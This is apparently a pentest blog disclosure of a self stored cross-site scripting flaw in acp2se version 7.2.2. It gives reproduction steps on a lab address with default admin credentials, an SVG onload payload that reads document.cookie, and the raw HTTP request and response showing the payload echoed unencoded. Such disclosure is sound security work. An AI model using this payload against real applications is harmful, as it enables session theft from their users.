Friday Fun Pentest Series - 19 - Self Stored XSS - acp2sev7.2.2

Description

- It was found that the application had problems around sanitizing and output encoding correctly, leading to Self Stored XSS.

Self Stored XSS #1

Steps to Reproduce:

1. Visit "http://192.168.58.168/acp2se/mul/muladmin.php" and login with "admin" / "adminpass"
2. In the field "Put the name of the new Admin" enter the following payload "><svg onload=prompt(document.cookie)>

// HTTP POST request

POST /acp2se/mul/muladmin.php HTTP/1.1

Host: 192.168.58.168

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

[...]

name="><svg onload=prompt(document.cookie)>&submit=Submit

// HTTP Response

HTTP/1.1 200 OK

Date: Wed, 19 Feb 2025 08:22:26 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 1210

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

[...]

<table border='1' cellpadding='2' cellspacing='2' width='850'>

<tr bgcolor='#C0C0C0'>

 <th width='850'>You have added a default Admin. His name is: "><svg onload=prompt(document.cookie)> .</br> The default password will be: <b>Admin</b>

[...]